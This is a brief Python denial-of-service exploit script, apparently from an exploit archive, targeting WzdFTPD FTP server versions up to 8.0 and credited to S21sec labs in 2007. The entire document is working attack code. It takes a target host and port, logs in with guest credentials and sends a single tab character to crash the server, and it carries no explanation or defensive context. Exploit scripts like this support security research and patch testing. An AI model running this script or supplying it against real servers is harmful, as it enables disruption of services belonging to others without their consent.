WzdFTPD Denial Of Service

`#!/usr/bin/env python  
#  
# WzdFTPD Denial of Service (<= 8.0)  
#  
# wzdftpd_dos.py by Jose Miguel Esparza  
# 2007-01-19 S21sec labs  
  
import sys,socket  
  
user = "guest"  
passw = "guest"  
if len(sys.argv) != 3:   
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")  
target = sys.argv[1]  
targetPort = int(sys.argv[2])  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((target,targetPort))  
s.recv(1024)  
s.sendall("USER " + user + "\r\n")  
s.recv(1024)  
s.sendall("PASS " + passw + "\r\n")  
s.recv(1024)  
s.sendall("\t")  
s.close()  
  
  
`